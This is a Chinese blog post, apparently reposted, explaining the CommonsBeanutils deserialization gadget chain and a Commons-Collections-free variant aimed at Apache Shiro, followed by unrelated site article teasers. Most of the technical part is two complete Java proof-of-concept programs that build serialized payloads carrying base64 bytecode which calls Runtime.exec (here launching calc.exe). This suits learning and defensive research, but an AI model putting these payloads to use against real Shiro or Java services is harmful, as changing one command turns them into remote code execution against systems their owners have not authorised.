cbu和无cc的shiro反序列化

news2024/11/19 1:55:24

前置知识

学习CommonsBeanutils之前应该知道

  1. javaBean,可以看《Java简单特性》也可以看这里
  2. 有关BeanComparator的介绍
  3. TemplatesImpl gadget,前两个方法是public
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()

cbu链原理

BeanComparator()用于比较两个Java Bean,当property不存在的时候会调用PropertyUtils.getProperty去获取JavaBean的属性,也就是执行getter

恰巧TemplatesImpl#getOutputProperties符合getter的命名规则

Gadget

Gadget chain:
    ObjectInputStream.readObject()
        PriorityQueue.readObject()
            PriorityQueue.heapify()
                PriorityQueue.siftDown()
                    siftDownUsingComparator()
                        BeanComparator.compare()
                            TemplatesImpl.getOutputProperties()
                                TemplatesImpl.newTransformer()
                                    TemplatesImpl.getTransletInstance()
                                        TemplatesImpl.defineTransletClasses()
                                            TemplatesImpl.TransletClassLoader.defineClass()
                                                 Runtime.exec()

Poc

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;

public class CommonsBeanutils1 {
    public static void main(String[] args) throws Exception {
        String base64encodedString = Base64.getEncoder().encodeToString(getpayload());
        System.out.println(base64encodedString);
    }

        public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static byte[] getpayload() throws Exception {
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQANQoACwAaCQAbABwIAB0KAB4AHwoAIAAhCAAiCgAgACMHACQKAAgAJQcAJgcAJwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAoAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEADVN0YWNrTWFwVGFibGUHACYHACQBAApTb3VyY2VGaWxlAQAXSGVsbG9UZW1wbGF0ZXNJbXBsLmphdmEMABMAFAcAKQwAKgArAQATSGVsbG8gVGVtcGxhdGVzSW1wbAcALAwALQAuBwAvDAAwADEBAAhjYWxjLmV4ZQwAMgAzAQATamF2YS9pby9JT0V4Y2VwdGlvbgwANAAUAQASSGVsbG9UZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAKAAsAAAAAAAMAAQAMAA0AAgAOAAAAGQAAAAMAAAABsQAAAAEADwAAAAYAAQAAAAsAEAAAAAQAAQARAAEADAASAAIADgAAABkAAAAEAAAAAbEAAAABAA8AAAAGAAEAAAAMABAAAAAEAAEAEQABABMAFAABAA4AAABsAAIAAgAAAB4qtwABsgACEgO2AAS4AAUSBrYAB1enAAhMK7YACbEAAQAMABUAGAAIAAIADwAAAB4ABwAAAA8ABAAQAAwAEgAVABUAGAATABkAFAAdABYAFQAAABAAAv8AGAABBwAWAAEHABcEAAEAGAAAAAIAGQ==");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator();
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add(1);
        queue.add(1);

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        //本地触发测试
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();

        return barr.toByteArray();
    }
}

Shiro反序列化遇到的困难

  • 本地生成payload的包和远程依赖的包版本不一导致serialVersionID不一致,反序列化失败

  • Shiro自带CommonsBeanutils,不依赖cc。但是Shiro反序列化需要cc

虽然cbu本身依赖cc,但是Shiro中自带的cbu中的类不全,反序列化会失败

no CC的Gadge

org.apache.commons.collections.comparators.ComparableComparator在BeanComparator类的构造方法里面被用到,要解决没有cc的时候ClassNotFound的问题就需要替换这个ComparableComparator。

因为ComparableComparator实现了Comparator接口,替换候选类需要满足:

  • 实现了java.util.Comparatorjava.io.Serializable接口
  • Java,shiro,cbu里面自带

我们去看Comparator接口,看下哪些类实现了他:

java.lang.String.CaseInsensitiveComparator:

直接通过String.CASE_INSENSITIVE_ORDER就可以获得一个对象

poc

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class CommonsBeanutils1Shiro {
    public static void main(String[] args) throws Exception {
        String base64encodedString = Base64.getEncoder().encodeToString(getpayload());
        System.out.println(base64encodedString);
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static byte[] getpayload() throws Exception {
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQANQoACwAaCQAbABwIAB0KAB4AHwoAIAAhCAAiCgAgACMHACQKAAgAJQcAJgcAJwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAoAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEADVN0YWNrTWFwVGFibGUHACYHACQBAApTb3VyY2VGaWxlAQAXSGVsbG9UZW1wbGF0ZXNJbXBsLmphdmEMABMAFAcAKQwAKgArAQATSGVsbG8gVGVtcGxhdGVzSW1wbAcALAwALQAuBwAvDAAwADEBAAhjYWxjLmV4ZQwAMgAzAQATamF2YS9pby9JT0V4Y2VwdGlvbgwANAAUAQASSGVsbG9UZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAKAAsAAAAAAAMAAQAMAA0AAgAOAAAAGQAAAAMAAAABsQAAAAEADwAAAAYAAQAAAAsAEAAAAAQAAQARAAEADAASAAIADgAAABkAAAAEAAAAAbEAAAABAA8AAAAGAAEAAAAMABAAAAAEAAEAEQABABMAFAABAA4AAABsAAIAAgAAAB4qtwABsgACEgO2AAS4AAUSBrYAB1enAAhMK7YACbEAAQAMABUAGAAIAAIADwAAAB4ABwAAAA8ABAAQAAwAEgAVABUAGAATABkAFAAdABYAFQAAABAAAv8AGAABBwAWAAEHABcEAAEAGAAAAAIAGQ==");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add("1");
        queue.add("1");

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

//        //本地触发测试
//        System.out.println(barr);
//        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
//        Object o = (Object)ois.readObject();

        return barr.toByteArray();
    }
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1105852.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

用于细胞定位的指数距离变换图--Exponential Distance Transform Maps for Cell Localization

论文&#xff1a;Exponential Distance Transform Maps for Cell Localization Paper Link&#xff1a; Exponential Distance Transform Maps for Cell Localization Code&#xff08;有EDT Map的生成方式&#xff09;&#xff1a; https://github.com/Boli-trainee/MHFAN 核…

2023.10.18 区别 对象 和 类对象

目录 对象 类对象 总结 对象 对象是类的实例化结果它是内存中的一块区域&#xff0c;包含了该类的属性和方法的具体值和实现对象具有唯一的标识、状态、行为通过创建类的实例&#xff0c;我们可以在程序中操作和处理具体的对象 简单实例 class Person {public int high 1…

ruoyi识别访问设备是pc端还是移动端跳转到对应的登录页面

背景需求 ruoyi框架&#xff0c;前后端分离。现在要在用户访问的时候根据不同的设备跳转到不同的登录页面。 教程 router/index.js 修改src/router/index.js&#xff0c;在这里增加自己的要跳转的页面 permission.js 在白名单中添加自己的登录页面 增加以下识别的代码 le…

6. 方法引用

我们在使用lambda时&#xff0c;如果方法体中只有一个方法的调用的话&#xff08;包括构造方法&#xff09;,我们可以用方法引用进一步简化代码。 6.1 推荐用法 我们在使用lambda时不需要考虑什么时候用方法引用&#xff0c;用哪种方法引用&#xff0c;方法引用的格式是什么。…

java正则校验金额

整数位5位 小数位4位 public static boolean judgeTwoDecimalFour(Object obj) {boolean flag false;try {if (obj ! null) {String source obj.toString();// 判断是否是整数或者是携带一位或者两位的小数Pattern pattern Pattern.compile("^[]?([0-9]{1,5}(.[0-9]{1…

【数字人】4、RAD-NeRF | 通过解耦 audio-spatial 编码来实现基于 NeRF 的高效数字人合成

文章目录 一、背景二、方法2.1 问题定义2.2 Decomposed audio-spatial encoding module2.3 Pseudo-3D Deformable Module 用于控制 torso2.4 训练细节 三、效果3.1 实验设置3.2 对比 论文&#xff1a;Real-time Neural Radiance Talking Portrait Synthesis via Audio-spatial …

【前端学习】—变量类型和计算(五)

【前端学习】—变量类型和计算(五) 一、JS中使用typeof能得到哪些类型 字符串(String):表示文本数据,用单引号或双引号括起来。 数字(Number):表示数值数据,包括整数和浮点数。 布尔值(Boolean):表示真或假(true或false)的逻辑值。 空值(Null):表示一个空…

echarts的markline警标线(一条/多条)的使用

echarts之markLine(可以设置特定阈值线(警戒线)) 一条线写法 series: [{name: Fake Data,type: line,showSymbol: false,data: data,markLine: {symbol: [none, none], // 去掉箭头label: {show: false,position: start,formatter: {b}},data: [{name: 阈值,yAxis: 200}],line…

[备忘]WindowsLinux上查看端口被什么进程占用|端口占用

Windows上 查看端口占用&#xff1a; netstat -aon|findstr <端口号> 通过进程ID查询进程信息 tasklist | findstr <上一步查出来的进程号> 图例&#xff1a; Linux 上 查看端口占用&#xff1a; netstat -tuln | grep <端口号> lsof -i:<端口号&…

Canvas绘图学习笔记:画笔的路径与状态

beginPath beginPath表示开始一个路径&#xff0c;我们在上一章画弧的时候用到过好多次&#xff0c;他的API非常简单&#xff1a; context.beginPath(); 开始路径有2层意思&#xff0c;一个就是本次绘制的起点是新的&#xff08;不再是上次结束的点了&#xff09;&#xff0…

诈骗分子投递“大闸蟹礼品卡”,快递公司如何使用技术手段提前安全预警?

目录 快递公司能不能提前识别&#xff1f; 如何通过技术有效识别 为即将带来的双十一提供安全预警 金秋十月&#xff0c;正是品尝螃蟹的季节。中秋国庆长假也免不了走亲访友&#xff0c;大闸蟹更是成了热门礼品。10月7日&#xff0c;演员孙艺洲发布微博称&#xff0c;“收到…

优思学院|质量保证是什么?提高产品和服务质量的关键方法

在当今竞争激烈的市场中&#xff0c;企业需要确保他们的产品和服务能够满足客户的期望。质量保证是实现这一目标的关键。本文将探讨质量保证的重要性&#xff0c;以及提高产品和服务质量的方法。 1. 了解质量保证的概念 质量保证是指一系列的活动和措施&#xff0c;旨在确保产…

STM32 裸机编程 03

MCU 启动和向量表 当 STM32F429 MCU 启动时&#xff0c;它会从 flash 存储区最前面的位置读取一个叫作“向量表”的东西。“向量表”的概念所有 ARM MCU 都通用&#xff0c;它是一个包含 32 位中断处理程序地址的数组。对于所有 ARM MCU&#xff0c;向量表前 16 个地址由 ARM …

Databend 开源周报第 115 期

Databend 是一款现代云数仓。专为弹性和高效设计&#xff0c;为您的大规模分析需求保驾护航。自由且开源。即刻体验云服务&#xff1a;https://app.databend.cn 。 Whats On In Databend 探索 Databend 本周新进展&#xff0c;遇到更贴近你心意的 Databend 。 聚合索引 Data…

再现ORA-600 4000故障处理---惜分飞

有一个10g的库&#xff0c;由于redo损坏导致无法正常recover成功 正常途径无法open成功,尝试强制打开库 Wed Oct 18 11:23:25 2023 alter database open resetlogs Wed Oct 18 11:23:25 2023 RESETLOGS is being done without consistancy checks. This may result in a corr…

端到端测试(End-to-end tests)重试策略

作者&#xff5c;Giuseppe Donati&#xff0c;Trivago公司Web测试自动化工程师 整理&#xff5c;TesterHome 失败后重试&#xff0c;是好是坏&#xff1f; 为什么要在失败时重试所有测试&#xff1f;为什么不&#xff1f; 作为Trivago&#xff08;德国酒店搜索服务平台&…

Cesium Vue(四)— 物体(Entity)的添加与配置

1. 添加标签和广告牌 // 添加文字标签和广告牌var label viewer.entities.add({position: Cesium.Cartesian3.fromDegrees(113.3191, 23.109, 750),label: {text: "广州塔",font: "24px sans-serif",fillColor: Cesium.Color.WHITE,outlineColor: Cesium.…

什么是美颜SDK?解析主播直播美颜SDK的技术原理与应用

当下&#xff0c;越来越多的主播和内容创作者依赖直播平台来与观众互动、分享内容和实时传达信息。然而&#xff0c;为了在激烈的竞争中脱颖而出&#xff0c;许多主播需要借助美颜技术来提高他们的外貌吸引力。这就引入了主播直播美颜SDK&#xff0c;一个结合了技术原理与应用的…

链表 oj2 (7.31)

206. 反转链表 - 力扣&#xff08;LeetCode&#xff09; 我们通过头插来实现 将链表上的节点取下来&#xff08;取的时候需要记录下一个节点&#xff09;&#xff0c;形成新的链表&#xff0c;对新的链表进行头插。 /*** Definition for singly-linked list.* struct ListNode…

2024年湖北建筑安全员abc三类人员考试新题库考试题库

2024年湖北建筑安全员abc三类人员考试新题库考试题库 湖北三类人员建筑安全员ABC证新题库是存在的&#xff0c;因为安管系统老更新&#xff0c;每次更新后&#xff0c;新题库&#xff08;重点题库&#xff09;就会有所变化。新题库主要是针对考试的&#xff0c;提高考试合格率…